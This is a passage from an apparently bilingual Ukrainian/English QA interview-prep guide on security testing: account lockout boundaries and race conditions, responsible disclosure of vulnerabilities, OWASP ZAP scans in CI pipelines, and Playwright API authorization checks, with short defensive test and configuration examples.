Як я це тестую: Перевіряю точну межу (4 помилки — ще 401, 5-та — блокування), скидання лічильника після успішного входу, поведінку правильного пароля під час блокування, розблокування після таймауту або через email. Окремо — чи лічильник спільний для всіх входів: вебформа, мобільний API, старий /api/v1/login, крок MFA. І обов'язково паралельні запити: якщо лічильник оновлюється без атомарності, двадцять одночасних спроб проходять раніше, ніж спрацює блокування.

Компроміси: Жорстке блокування захищає від перебору, але дає атакувальнику інструмент DoS: знаючи формат корпоративних email, можна заблокувати всю компанію в понеділок зранку. Блокування лише за IP не допомагає проти credential stuffing з ботнета, де кожна адреса робить одну-дві спроби на різні акаунти. Тому зріле рішення комбіноване: прогресивні затримки й CAPTCHA після кількох помилок, тимчасове (а не вічне) блокування, ліміти і на акаунт, і на IP, перевірка паролів за базами витоків та MFA. Ще один компроміс — повідомлення: статус 423 або текст «акаунт заблоковано» зручні користувачу, але підтверджують, що акаунт існує, тобто відкривають перебір логінів.

Сценарій інциденту: Підтримка отримує сотні звернень від заблокованих користувачів за годину. Я дивлюся на метрику блокувань за часом і джерелами: якщо спроби йдуть з багатьох IP по списку реальних логінів, це атака на доступність. Короткостроково — перемкнути політику з блокування на затримки та CAPTCHA, масово розблокувати постраждалих; довгостроково — алерт на аномальну частоту блокувань і регресійні тести на нову політику.

Підводні камені: Тестувати лише вебформу, забувши про API; перевіряти межу послідовно й не перевіряти гонку; не мати окремих тестових акаунтів, через що тести блокування ламають інші автотести.

Уточнююче питання: Яку політику обрав продукт — блокування, затримки чи CAPTCHA — і хто в команді відповідає за моніторинг частоти блокувань?

What it is: Account lockout is a defensive mechanism that deactivates an account, temporarily or until a manual unlock, after a number of consecutive failed login attempts (for example, 5). Its goal is to make guessing the password of one specific account impractical.

How I test it: I check the exact boundary (4 failures still return 401, the 5th locks), that the counter resets after a successful login, how the correct password behaves while the account is locked, and unlocking after the timeout or via email. Separately, whether the counter is shared by every entry point: the web form, the mobile API, the old /api/v1/login, the MFA step. And always parallel requests: if the counter is updated without atomicity, twenty simultaneous attempts get through before the lock fires.

Trade-offs: A hard lock stops brute force but hands the attacker a DoS tool: knowing the corporate email format, you can lock the whole company out on a Monday morning. Locking by IP alone does not help against credential stuffing from a botnet, where each address makes one or two attempts against different accounts. So a mature design combines measures: progressive delays and CAPTCHA after a few failures, temporary rather than permanent locks, limits per account and per IP, checking passwords against breach lists, and MFA. Another trade-off is the message: a 423 status or an "account locked" text is convenient for the user, but it confirms the account exists and so opens up username enumeration.

Incident scenario: Support receives hundreds of tickets from locked-out users within an hour. I look at the lockout metric by time and source: if attempts come from many IPs against a list of real usernames, it is an attack on availability. Short term — switch the policy from locking to delays and CAPTCHA and bulk-unlock the affected users; long term — an alert on abnormal lockout rates and regression tests for the new policy.

Pitfalls: Testing only the web form and forgetting the API; checking the boundary sequentially and never checking the race; having no dedicated test accounts, so lockout tests break other automated tests.

Clarifying question: Which policy did the product choose — locking, delays or CAPTCHA — and who on the team watches the lockout rate?

Приклад / конфігурація:
Example / configuration:
import { test, expect } from '@playwright/test';

test('lockout fires exactly on the 5th failure', async ({ request }) => {
  const bad = { email: 'lock.seq@example.test', password: 'wrong' };
  for (let i = 0; i < 4; i++) {
    expect((await request.post('/api/login', { data: bad })).status()).toBe(401);
  }
  expect((await request.post('/api/login', { data: bad })).status()).toBe(423);
  // while locked, even the correct password must be rejected
  const ok = await request.post('/api/login', { data: { ...bad, password: 'Correct#123' } });
  expect(ok.status()).toBe(423);
});

test('parallel attempts cannot outrun the counter', async ({ request }) => {
  const bad = { email: 'lock.race@example.test', password: 'wrong' };
  const res = await Promise.all(
    Array.from({ length: 20 }, () => request.post('/api/login', { data: bad }))
  );
  const checked = res.filter(r => r.status() === 401).length;
  expect(checked).toBeLessThanOrEqual(5); // every 401 is a real password check
});
💡 Що тут відбувається: Перший тест перевіряє точну межу блокування і те, що правильний пароль не знімає блокування. Другий відправляє 20 запитів одночасно і рахує, скільки з них сервер реально перевірив паролем (відповідь 401): якщо більше п'яти, лічильник не атомарний і перебір можна прискорити паралелізмом. Для кожного тесту — окремий акаунт, щоб блокування не ламало інші тести.
💡 What is happening here: The first test checks the exact lockout boundary and that the correct password does not lift the lock. The second fires 20 requests at once and counts how many the server actually checked against the password (a 401 response): more than five means the counter is not atomic and brute force can be sped up with parallelism. Each test uses its own account, so lockouts do not break other tests.
🗣 Як читати вголосБлокування акаунта я тестую не лише як «п'ять разів ввів неправильний пароль — заблокувало». Перевіряю точну межу, скидання лічильника після успіху, що правильний пароль не проходить під час блокування, і що той самий лічильник працює в мобільному API та на кроці MFA. Обов'язково пускаю паралельні запити, бо неатомарний лічильник дозволяє проскочити межу. А на рівні дизайну я завжди піднімаю компроміс: жорстке блокування — це готовий інструмент DoS проти користувачів, тому я радше за прогресивні затримки, CAPTCHA й тимчасове блокування плюс алерт на аномальну кількість блокувань.
🗣 How to say it out loudI don't test account lockout as just "five wrong passwords and it locks". I check the exact boundary, that the counter resets after a success, that the correct password doesn't get in while the account is locked, and that the same counter applies to the mobile API and the MFA step. I always fire parallel requests too, because a non-atomic counter lets attempts slip past the limit. At the design level I always raise the trade-off: a hard lock is a ready-made DoS tool against your own users, so I'd rather see progressive delays, CAPTCHA and temporary locks, plus an alert on an abnormal number of lockouts.
28 Як правильно репортити security-баг без публічного експлойта?How to properly report a security bug without a public exploit?
Senior▶

Що це: Процес відповідального розкриття вразливостей (Responsible Disclosure) полягає в тому, щоб задокументувати та передати інформацію про знайдений безпековий дефект команді розробників чи сек'юрити-офіцеру безпечним каналом, не публікуючи детальний експлойт чи робочий код атаки у відкритих джерелах до моменту виправлення.

Навіщо/коли: QA зобов'язаний дотримуватися професійної етики під час виявлення критичних вразливостей (наприклад, SQLi чи IDOR), оформлюючи звіт із чітким описом кроків відтворення, впливу та рекомендацій, але уникаючи деструктивних дій.

Приклад з реального проєкту: Під час тестування QA виявив вразливість IDOR, яка дозволяла переглядати дані інших користувачів. Він не став масово викачувати бази даних чи публікувати скріншоти у публічному чаті, а створив приватний тікет у захищеній системі виявлення інцидентів з детальним описом кроків, рівнем ризику за CVSS та рекомендацією додати перевірку власності.

Підводні камені: Публікація деталей експлойта в публічних баг-трекерах або соцмережах до випуску патча є порушенням NDA та етики, що може призвести до експлуатації вразливості зловмисниками.

Уточнююче питання: Які ключові компоненти повинен містити професійний звіт про безпековий дефект (Security Bug Report) для швидкої реакції команди безпеки?

What it is: Responsible vulnerability disclosure is the practice of documenting and transmitting security defect findings to development or security teams through secure channels without publishing weaponized exploit code publicly before patches are deployed.

Why/when: QA must adhere to professional ethics when discovering critical vulnerabilities (like SQLi or IDOR), crafting reports with clear reproduction steps, impact assessments, and remediation advice while avoiding destructive actions.

Real project example: During testing, a QA discovered an IDOR vulnerability exposing user records. Instead of mass exfiltration or posting screenshots publicly, the engineer filed a private ticket in a secure bug tracker with step-by-step instructions, CVSS risk scoring, and remediation advice.

Pitfalls: Publishing exploit details in public bug trackers or social media prior to patch release violates NDA and ethics, enabling malicious actors to exploit systems.

Clarifying question: What essential components should a professional security bug report include to facilitate rapid triage and remediation by security response teams?

Приклад / конфігурація:
Example / configuration:
# Security Bug Report Template Example
Title: [Critical] IDOR vulnerability on /api/v1/orders endpoint
CVSS Score: 8.6 (High)
Steps to Reproduce: 1. Log in as User A. 2. Request order ID 502. 3. Observe data leak.
Remediation: Implement backend ownership validation for order queries.
💡 Що тут відбувається: Зразок структурованого безпекового звіту з оцінкою за шкалою CVSS, кроками відтворення та рекомендацією щодо виправлення без публічного коду атаки.
💡 What is happening here: Sample structured security report template incorporating CVSS scoring, reproduction steps, and remediation advice without publishing exploit code.
🗣 Як читати вголосЗнайдену вразливість я ніколи не описую у звичайному публічному тікеті чи в загальному чаті. Я заводжу приватний звіт з обмеженим доступом: мінімальні кроки відтворення, очікувана й фактична поведінка, оцінка впливу та серйозності, наприклад за CVSS. Робочий експлойт не публікую і не поширюю — достатньо доказу, що проблема існує. Далі погоджую з командою безпеки терміни виправлення і перевіряю фікс, а деталі розкриваються тільки після релізу патча, якщо взагалі розкриваються.
🗣 How to say it out loudI never describe a vulnerability I've found in a regular public ticket or a general chat. I file a private report with restricted access: minimal reproduction steps, expected versus actual behaviour, and an impact and severity estimate, for example with CVSS. I don't publish or pass around a working exploit — proof that the problem exists is enough. Then I agree on fix timelines with the security team and verify the fix, and details are disclosed only after the patch ships, if at all.
29 Як інтегрувати OWASP ZAP або Burp Suite у CI/CD пайплайн?How to integrate OWASP ZAP or Burp Suite into a CI/CD pipeline?
Senior▶

Що це: Інтеграція інструментів динамічного сканування вразливостей (DAST), таких як OWASP ZAP (ZAP Baseline Scan), у CI/CD пайплайн дозволяє автоматично перевіряти нові збірки додатків на наявність типових вебвразливостей під час кожного коміту чи релізу.

Навіщо/коли: QA та DevOps налаштовують автоматичне запуск сканерів безпеки на тестовому середовищі після успішного розгортання збірки, щоб виявляти регресії безпеки на ранніх етапах розробки.

Приклад з реального проєкту: У проєкті GitHub Actions було налаштовано офіційний Docker-контейнер OWASP ZAP Baseline Scan одразу після розгортання ефемерного середовища. Сканер автоматично перевірив заголовки безпеки, наявність кук та базові XSS-вразливості, і у разі знаходження помилок високого рівня ризику зупинив збірку пайплайну.

Підводні камені: ДАСТ-сканери можуть давати хибно-позитивні результати (False Positives) або створювати навантаження на БД, тому їх потрібно попередньо налаштовувати та виключати деструктивні сканування на робочих середовищах.

Уточнююче питання: Як налаштувати поріг блокування збірки (fail threshold) у ZAP сканері, щоб фахівці з безпеки не блокували релізи через незначні попередження?

What it is: Integrating Dynamic Application Security Testing (DAST) tools like OWASP ZAP (ZAP Baseline Scan) into CI/CD pipelines enables automated security testing of new application builds during every commit or release cycle.

Why/when: QA and DevOps configure automated security scanners to run against staging environments post-deployment, detecting security regressions early in the development lifecycle.

Real project example: A GitHub Actions workflow incorporated the official OWASP ZAP Baseline Scan Docker container immediately after spinning up an ephemeral staging environment. The scanner inspected security headers, cookies, and basic XSS vectors, failing the build on high-severity findings.

Pitfalls: DAST scanners can generate False Positives or burden database resources, requiring careful tuning and strict restriction to non-production environments.

Clarifying question: How do you configure build failure thresholds in ZAP scans to prevent minor warnings from blocking critical delivery pipelines while catching severe vulnerabilities?

Приклад / конфігурація:
Example / configuration:
# GitHub Actions workflow snippet for OWASP ZAP Scan
- name: OWASP ZAP Baseline Scan
  uses: zaproxy/action-baseline@v0.12.0
  with:
    target: 'https://staging.valtive.io'
    fail_action: true
💡 Що тут відбувається: Фрагмент конфігурації GitHub Actions для автоматичного запуску сканування OWASP ZAP проти тестового стенду з налаштуванням зупинки збірки при виявленні вразливостей.
💡 What is happening here: GitHub Actions workflow snippet automating OWASP ZAP scanning against a staging environment with build failure enforcement on vulnerabilities.
🗣 Як читати вголосOWASP ZAP у CI я запускаю у двох режимах. На кожен pull request — швидкий baseline-скан, пасивний, без атак, який ловить відсутні заголовки безпеки, небезпечні cookie та інші проблеми конфігурації. Повний активний скан запускаю за розкладом на окремому стенді, бо він шле атакуючі payload-и і може засмітити дані. Результати фільтрую через файл правил, щоб хибні спрацьовування не ламали збірку, а збірку валю лише на нових знахідках високого рівня. Так сканер не стає шумом, який усі ігнорують.
🗣 How to say it out loudI run OWASP ZAP in CI in two modes. On every pull request, a quick baseline scan — passive, no attacks — which catches missing security headers, unsafe cookies and other configuration problems. The full active scan runs on a schedule against a dedicated environment, because it sends attack payloads and can pollute data. I filter the results through a rules file so false positives don't break the build, and I fail the build only on new high-severity findings. That way the scanner doesn't turn into noise that everyone ignores.
30 Як перевіряти безпеку API за допомогою Postman або Playwright тестів?How to test API security using Postman or Playwright tests?
Senior▶

Що це: Автоматизоване тестування безпеки API за допомогою Postman (з використанням скриптів pm.test) або Playwright дозволяє перевіряти наявність обов'язкових заголовків безпеки, коректність кодів відповідей, відсутність чутливих даних у відповідях та захист від несанкціонованого доступу прямо в регресійній суїті.

Навіщо/коли: QA вбудовує перевірки безпеки у звичайні функціональні автотести, щоб перевіряти не лише бізнес-логіку, але й дотримання контрактів безпеки на кожній збірці.

Приклад з реального проєкту: У проєкті QA написав у Playwright тест для перевірки адміністративного ендпоїнту. Тест надсилав запит під акаунтом звичайного користувача і за допомогою утверджень (assertions) перевіряв, що бекенд повертає статус 403 Forbidden, а також перевіряв наявність заголовків X-Content-Type-Options: nosniff та Strict-Transport-Security у кожній відповіді.

Підводні камені: Автотести не замінюють повноцінний пентест або ручний аудит, але вони чудово підходять як регресійний бар'єр проти випадкового зняття захисту розробниками.

Уточнююче питання: Які саме перевірки безпеки ви рекомендуєте автоматизувати в першу чергу у ваших Postman або Playwright тестових колекціях?

What it is: Automated API security testing using Postman (leveraging pm.test scripts) or Playwright enables verifying mandatory security headers, response status codes, absence of sensitive data leaks, and access control enforcement directly inside regression test suites.

Why/when: QA embeds security assertions into standard functional automated tests to validate both business logic and security contract compliance across every build iteration.

Real project example: In a project, a QA wrote a Playwright test inspecting an administrative endpoint. The test dispatched a request using a standard user token and asserted that the backend returned 403 Forbidden, while also validating X-Content-Type-Options: nosniff and Strict-Transport-Security headers on responses.

Pitfalls: Automated tests do not replace comprehensive manual penetration testing or security audits, but they serve as an exceptional regression barrier against accidental security degradations.

Clarifying question: What specific security assertions do you prioritize automating first within your Postman or Playwright test suites?

Приклад / конфігурація:
Example / configuration:
test('API security headers and unauthorized access check', async ({ request }) => {
  const response = await request.get('/api/v1/admin/stats', {
    headers: { 'Authorization': 'Bearer user_token_abc' }
  });
  expect(response.status()).toBe(403);
  expect(response.headers()['x-content-type-options']).toBe('nosniff');
});
💡 Що тут відбувається: Автоматизований тест Playwright перевіряє, що звичайний користувач отримує статус 403 при доступі до адмінки та що заголовок nosniff на місці.
💡 What is happening here: Automated Playwright test verifying that standard users receive status 403 when accessing admin routes and confirming the nosniff header presence.
🗣 Як читати вголосБезпеку API я вбудовую в звичайні автотести на Playwright або Postman, а не відкладаю на окремий аудит. Найцінніші перевірки — доступ до чужого ресурсу під іншим користувачем, запит без токена й з простроченим токеном, зміна ролі в тілі запиту та наявність заголовків безпеки у відповідях. Для кожної ролі тримаю окремий токен і проганяю ті самі ендпоінти за матрицею ролей. Такі тести дешеві, біжать на кожній збірці і ловлять регресії в авторизації одразу, а не на наступному пентесті.
🗣 How to say it out loudI build API security into the regular Playwright or Postman tests instead of leaving it for a separate audit. The most valuable checks are accessing another user's resource, requests with no token and with an expired token, changing the role in the request body, and security headers on the responses. I keep a separate token for each role and run the same endpoints through a role matrix. These tests are cheap, run on every build and catch authorization regressions straight away, not at the next pentest.